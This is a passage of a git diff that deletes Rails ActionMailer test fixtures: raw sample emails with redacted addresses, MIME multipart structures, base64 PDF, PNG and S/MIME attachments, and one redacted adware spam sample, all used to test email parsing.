-GwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZ
-Nd4ksdMdRv9dX2VPMYIC5zCCAuMCAQEwaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl
-IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
-IElzc3VpbmcgQ0ECAw5c+TAJBgUrDgMCGgUAoIIBUzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcB
-MBwGCSqGSIb3DQEJBTEPFw0wNTA1MDgxODE3NDZaMCMGCSqGSIb3DQEJBDEWBBQSkG9j6+hB0pKp
-fV9tCi/iP59sNTB4BgkrBgEEAYI3EAQxazBpMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
-dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
-aWwgSXNzdWluZyBDQQIDDlz5MHoGCyqGSIb3DQEJEAILMWugaTBiMQswCQYDVQQGEwJaQTElMCMG
-A1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNv
-bmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAw5c+TANBgkqhkiG9w0BAQEFAASCAQAm1GeF7dWfMvrW
-8yMPjkhE+R8D1DsiCoWSCp+5gAQm7lcK7V3KrZh5howfpI3TmCZUbbaMxOH+7aKRKpFemxoBY5Q8
-rnCkbpg/++/+MI01T69hF/rgMmrGcrv2fIYy8EaARLG0xUVFSZHSP+NQSYz0TTmh4cAESHMzY3JA
-nHOoUkuPyl8RXrimY1zn0lceMXlweZRouiPGuPNl1hQKw8P+GhOC5oLlM71UtStnrlk3P9gqX5v7
-Tj7Hx057oVfY8FMevjxGwU3EK5TczHezHbWWgTyum9l2ZQbUQsDJxSniD3BM46C1VcbDLPaotAZ0
-fTYLZizQfm5hcWEbfYVzkSzLAAAAAAAA
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/actionmailer/test/fixtures/raw_email3 b/actionmailer/test/fixtures/raw_email3
deleted file mode 100644
index 3a0927490a..0000000000
--- a/actionmailer/test/fixtures/raw_email3
+++ /dev/null
@@ -1,70 +0,0 @@
-From xxxx@xxxx.com Tue May 10 11:28:07 2005
-Return-Path: <xxxx@xxxx.com>
-X-Original-To: xxxx@xxxx.com
-Delivered-To: xxxx@xxxx.com
-Received: from localhost (localhost [127.0.0.1])
- by xxx.xxxxx.com (Postfix) with ESMTP id 50FD3A96F
- for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:50 +0000 (GMT)
-Received: from xxx.xxxxx.com ([127.0.0.1])
- by localhost (xxx.xxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 70060-03 for <xxxx@xxxx.com>;
- Tue, 10 May 2005 17:26:49 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [69.36.39.150])
- by xxx.xxxxx.com (Postfix) with ESMTP id 8B957A94B
- for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:48 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [64.233.184.203])
- by xxx.xxxxx.com (Postfix) with ESMTP id 9972514824C
- for <xxxx@xxxx.com>; Tue, 10 May 2005 12:26:40 -0500 (CDT)
-Received: by xxx.xxxxx.com with SMTP id 68so1694448wri
- for <xxxx@xxxx.com>; Tue, 10 May 2005 10:26:40 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
- s=beta; d=xxxxx.com;
- h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type;
- b=g8ZO5ttS6GPEMAz9WxrRk9+9IXBUfQIYsZLL6T88+ECbsXqGIgfGtzJJFn6o9CE3/HMrrIGkN5AisxVFTGXWxWci5YA/7PTVWwPOhJff5BRYQDVNgRKqMl/SMttNrrRElsGJjnD1UyQ/5kQmcBxq2PuZI5Zc47u6CILcuoBcM+A=
-Received: by 10.54.96.19 with SMTP id t19mr621017wrb;
- Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Received: by 10.54.110.5 with HTTP; Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Message-ID: <xxxx@xxxx.com>
-Date: Tue, 10 May 2005 11:26:39 -0600
-From: Test Tester <xxxx@xxxx.com>
-Reply-To: Test Tester <xxxx@xxxx.com>
-To: xxxx@xxxx.com, xxxx@xxxx.com
-Subject: Another PDF
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
- boundary="----=_Part_2192_32400445.1115745999735"
-X-Virus-Scanned: amavisd-new at textdrive.com
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-Just attaching another PDF, here, to see what the message looks like,
-and to see if I can figure out what is going wrong here.
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: application/pdf; name="broken.pdf"
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="broken.pdf"
-
-JVBERi0xLjQNCiXk9tzfDQoxIDAgb2JqDQo8PCAvTGVuZ3RoIDIgMCBSDQogICAvRmlsdGVyIC9G
-bGF0ZURlY29kZQ0KPj4NCnN0cmVhbQ0KeJy9Wt2KJbkNvm/od6jrhZxYln9hWEh2p+8HBvICySaE
-ycLuTV4/1ifJ9qnq09NpSBimu76yLUuy/qzqcPz7+em3Ixx/CDc6CsXxs3b5+fvfjr/8cPz6/BRu
-rbfAx/n3739/fuJylJ5u5fjX81OuDr4deK4Bz3z/aDP+8fz0yw8g0Ofq7ktr1Mn+u28rvhy/jVeD
-QSa+9YNKHP/pxjvDNfVAx/m3MFz54FhvTbaseaxiDoN2LeMVMw+yA7RbHSCDzxZuaYB2E1Yay7QU
-x89vz0+tyFDKMlAHK5yqLmnjF+c4RjEiQIUeKwblXMe+AsZjN1J5yGQL5DHpDHksurM81rF6PKab
-gK6zAarIDzIiUY23rJsN9iorAE816aIu6lsgAdQFsuhhkHOUFgVjp2GjMqSewITXNQ27jrMeamkg
-1rPI3iLWG2CIaSBB+V1245YVRICGbbpYKHc2USFDl6M09acQVQYhlwIrkBNLISvXhGlF1wi5FHCw
-wxZkoGNJlVeJCEsqKA+3YAV5AMb6KkeaqEJQmFKKQU8T1pRi2ihE1Y4CDrqoYFFXYjJJOatsyzuI
-8SIlykuxKTMibWK8H1PgEvqYgs4GmQSrEjJAalgGirIhik+p4ZQN9E3ETFPAHE1b8pp1l/0Rc1gl
-fQs0ABWvyoZZzU8VnPXwVVcO9BEsyjEJaO6eBoZRyKGlrKoYoOygA8BGIzgwN3RQ15ouigG5idZQ
-fx2U4Db2CqiLO0WHAZoylGiCAqhniNQjFjQPSkmjwfNTgQ6M1Ih+eWo36wFmjIxDJZiGUBiWsAyR
-xX3EekGOizkGI96Ol9zVZTAivikURhRsHh2E3JhWMpSTZCnnonrLhMCodgrNcgo4uyJUJc6qnVss
-nrGd1Ptr0YwisCOYyIbUwVjV4xBUNLbguSO2YHujonAMJkMdSI7bIw91Akq2AUlMUWGFTMAOamjU
-OvZQCxIkY2pCpMFo/IwLdVLHs6nddwTRrgoVbvLU9eB0G4EMndV0TNoxHbt3JBWwK6hhv3iHfDtF
-yokB302IpEBTnWICde4uYc/1khDbSIkQopO6lcqamGBu1OSE3N5IPSsZX00CkSHRiiyx6HQIShsS
-HSVNswdVsaOUSAWq9aYhDtGDaoG5a3lBGkYt/lFlBFt1UqrYnzVtUpUQnLiZeouKgf1KhRBViRRk
-ExepJCzTwEmFDalIRbLEGtw0gfpESOpIAF/NnpPzcVCG86s0g2DuSyd41uhNGbEgaSrWEXORErbw
-------=_Part_2192_32400445.1115745999735--
-
diff --git a/actionmailer/test/fixtures/raw_email4 b/actionmailer/test/fixtures/raw_email4
deleted file mode 100644
index 639ad40e49..0000000000
--- a/actionmailer/test/fixtures/raw_email4
+++ /dev/null
@@ -1,59 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id 6AAEE3B4D23 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:23 -0500
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id j48HUC213279 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:13 -0500
-Received: from conversion-xxx.xxxx.xxx.net by xxx.xxxx.xxx id <0IG600901LQ64I@xxx.xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Received: from agw1 by xxx.xxxx.xxx with ESMTP id <0IG600JFYLYCAxxx@xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Date: Sun, 8 May 2005 12:30:08 -0500
-From: xxx@xxxx.xxx
-To: xxx@xxxx.xxx
-Message-Id: <7864245.1115573412626.JavaMxxx@xxxx.xxx>
-Subject: Filth
-Mime-Version: 1.0
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4ca329_133ae40413c81ef
-X-Mms-Priority: 1
-X-Mms-Transaction-Id: 3198421808-0
-X-Mms-Message-Type: 0
-X-Mms-Sender-Visibility: 1
-X-Mms-Read-Reply: 1
-X-Original-To: xxx@xxxx.xxx
-X-Mms-Message-Class: 0
-X-Mms-Delivery-Report: 0
-X-Mms-Mms-Version: 16
-Delivered-To: xxx@xxxx.xxx
-X-Nokia-Ag-Version: 2.0
-
-This is a multi-part message in MIME format.
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4cbd97_133ae40413c8217
-
-
-
---mimepart_427e4cb4cbd97_133ae40413c8217
-Content-Type: text/plain; charset=utf-8
-Content-Transfer-Encoding: 7bit
-Content-Disposition: inline
-Content-Location: text.txt
-
-Some text
-
---mimepart_427e4cb4cbd97_133ae40413c8217--
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: text/plain; charset=us-ascii
-Content-Transfer-Encoding: 7bit
-
-
---
-This Orange Multi Media Message was sent wirefree from an Orange
-MMS phone. If you would like to reply, please text or phone the
-sender directly by using the phone number listed in the sender's
-address. To learn more about Orange's Multi Media Messaging
-Service, find us on the Web at xxx.xxxx.xxx.uk/mms
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef-
-
diff --git a/actionmailer/test/fixtures/raw_email5 b/actionmailer/test/fixtures/raw_email5
deleted file mode 100644
index bbe31bcdc5..0000000000
--- a/actionmailer/test/fixtures/raw_email5
+++ /dev/null
@@ -1,19 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email6 b/actionmailer/test/fixtures/raw_email6
deleted file mode 100644
index 8e37bd7392..0000000000
--- a/actionmailer/test/fixtures/raw_email6
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=us-ascii
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email7 b/actionmailer/test/fixtures/raw_email7
deleted file mode 100644
index da64ada8a5..0000000000
--- a/actionmailer/test/fixtures/raw_email7
+++ /dev/null
@@ -1,66 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Type: multipart/mixed;
- boundary=Apple-Mail-12-196940926
-
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
- charset=ISO-8859-1;
- delsp=yes;
- format=flowed
-
-This is the first part.
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/x-ruby-script;
- x-unix-mode=0666;
- name="test.rb"
-Content-Disposition: attachment;
- filename=test.rb
-
-puts "testing, testing"
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: base64
-Content-Type: application/pdf;
- x-unix-mode=0666;
- name="test.pdf"
-Content-Disposition: inline;
- filename=test.pdf
-
-YmxhaCBibGFoIGJsYWg=
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
- charset=US-ASCII;
- format=flowed
-
-
-
---Apple-Mail-12-196940926--
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
- name=smime.p7s
-Content-Disposition: attachment;
- filename=smime.p7s
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
diff --git a/actionmailer/test/fixtures/raw_email8 b/actionmailer/test/fixtures/raw_email8
deleted file mode 100644
index 79996365b3..0000000000
--- a/actionmailer/test/fixtures/raw_email8
+++ /dev/null
@@ -1,47 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May 8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
- boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Test attachments oddly encoded with japanese charset.
-
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/octet-stream; name*=iso-2022-jp'ja'01%20Quien%20Te%20Dij%8aat.%20Pitbull.mp3
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/actionmailer/test/fixtures/raw_email9 b/actionmailer/test/fixtures/raw_email9
deleted file mode 100644
index 02ea0b05c5..0000000000
--- a/actionmailer/test/fixtures/raw_email9
+++ /dev/null
@@ -1,28 +0,0 @@
-Received: from xxx.xxx.xxx ([xxx.xxx.xxx.xxx] verified)
- by xxx.com (CommuniGate Pro SMTP 4.2.8)
- with SMTP id 2532598 for xxx@xxx.com; Wed, 23 Feb 2005 17:51:49 -0500
-Received-SPF: softfail
- receiver=xxx.com; client-ip=xxx.xxx.xxx.xxx; envelope-from=xxx@xxx.xxx
-quite Delivered-To: xxx@xxx.xxx
-Received: by xxx.xxx.xxx (Wostfix, from userid xxx)
- id 0F87F333; Wed, 23 Feb 2005 16:16:17 -0600
-Date: Wed, 23 Feb 2005 18:20:17 -0400
-From: "xxx xxx" <xxx@xxx.xxx>
-Message-ID: <4D6AA7EB.6490534@xxx.xxx>
-To: xxx@xxx.com
-Subject: Stop adware/spyware once and for all.
-X-Scanned-By: MIMEDefang 2.11 (www dot roaringpenguin dot com slash mimedefang)
-
-You are infected with:
-Ad Ware and Spy Ware
-
-Get your free scan and removal download now,
-before it gets any worse.
-
-http://xxx.xxx.info?aid=3D13&?stat=3D4327kdzt
-
-
-
-
-no more? (you will still be infected)
-http://xxx.xxx.info/discon/?xxx@xxx.com
diff --git a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a b/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
deleted file mode 100644
index 8a2c25a5dd..0000000000
--- a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
+++ /dev/null
@@ -1,14 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain
-
-A fax has arrived from remote ID ''.=0D=0A-----------------------=
--------------------------------------=0D=0ATime: 3/9/2006 3:50:52=
- PM=0D=0AReceived from remote ID: =0D=0AInbound user ID XXXXXXXXXX, r=
-outing code XXXXXXXXX=0D=0AResult: (0/352;0/0) Successful Send=0D=0AP=
-age record: 1 - 1=0D=0AElapsed time: 00:58 on channel 11=0D=0A
diff --git a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type b/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
deleted file mode 100644
index a8ff7ed4cb..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
+++ /dev/null
@@ -1,104 +0,0 @@
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
diff --git a/actionmailer/test/fixtures/raw_email_with_nested_attachment b/actionmailer/test/fixtures/raw_email_with_nested_attachment
deleted file mode 100644
index 429c408c5d..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_nested_attachment
+++ /dev/null
@@ -1,100 +0,0 @@
-From jamis@37signals.com Thu Feb 22 11:20:31 2007
-Mime-Version: 1.0 (Apple Message framework v752.3)
-Message-Id: <2CCE0408-10C7-4045-9B16-A1C11C31469B@37signals.com>
-Content-Type: multipart/signed;
- micalg=sha1;
- boundary=Apple-Mail-42-587703407;
- protocol="application/pkcs7-signature"
-To: Jamis Buck <jamis@jamisbuck.org>
-Subject: Testing attachments
-From: Jamis Buck <jamis@37signals.com>
-Date: Thu, 22 Feb 2007 11:20:31 -0700
-
-
---Apple-Mail-42-587703407
-Content-Type: multipart/mixed;
- boundary=Apple-Mail-41-587703287
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
- charset=US-ASCII;
- format=flowed
-
-Here is a test of an attachment via email.
-
-- Jamis
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: base64
-Content-Type: image/png;
- x-unix-mode=0644;
- name=byo-ror-cover.png
-Content-Disposition: inline;
- filename=truncated.png
-
-iVBORw0KGgoAAAANSUhEUgAAAKUAAADXCAYAAAB7wZEQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz
-AAALEgAACxIB0t1+/AAAABd0RVh0Q3JlYXRpb24gVGltZQAxLzI1LzIwMDeD9CJVAAAAGHRFWHRT
-b2Z0d2FyZQBBZG9iZSBGaXJld29ya3NPsx9OAAAyBWlUWHRYTUw6Y29tLmFkb2JlLnhtcDw/eHBh
-Y2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1l
-dGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDQuMS1j
-MDIwIDEuMjU1NzE2LCBUdWUgT2N0IDEwIDIwMDYgMjM6MTY6MzQiPgogICA8cmRmOlJERiB4bWxu
-czpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAg
-ICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4YXA9Imh0
-dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPgogICAgICAgICA8eGFwOkNyZWF0b3JUb29sPkFk
-b2JlIEZpcmV3b3JrcyBDUzM8L3hhcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhhcDpDcmVhdGVE
-YXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN
-b2RpZnlEYXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6TW9kaWZ5RGF0ZT4KICAgICAgPC9y
-ZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAg
-ICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAg
-ICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgIDwvcmRmOkRlc2NyaXB0
-hhojpmnJMfaYFmSkXWg5PGCmHXVj/c9At0hSK2xGdd8F3muk0VFjb4f5Ue0ksQ8qAcq0delaXhdb
-DjKNnF+3B3t9kObZYmk7AZgWYqO9anpR3wpM9sQ5XslB9a+kWyTtNb0fOmudzGHfPFBQDKesyycm
-DBL7Cw5bXjIEuci+SSOm/LYnXDZu6iuPEj8lYBb+OU8xx1f9m+e5rhJiYKqjo5vHfiZp+VUkW9xc
-Ufd6JHNWc47PkQqb9ie3SLEZB/ZqyAssiqURY+G35iOMZUrHbasHnb80QAPv9FHtAbJIyro7bi5b
-ai2TEAKen5+LJNWrglZjm3UbZvt7KryA2J5b5J1jZF8kL6GzvG1Zqx54Y1y7J7n20wMOt9frG2sW
-uwGP07kNz3732vf6bfvAvLldfS+9fts2euXY37D+R29FGZdlnhzV4TTFmPJduBP2RbNNua4rTqcT
-Qt7Xy1KUB0AHSdP5AZQYvHZg7WD1XvYeMO1A9HhZPqMX5KXbMBrn2efxns/ee21674efxz4Tp/fq
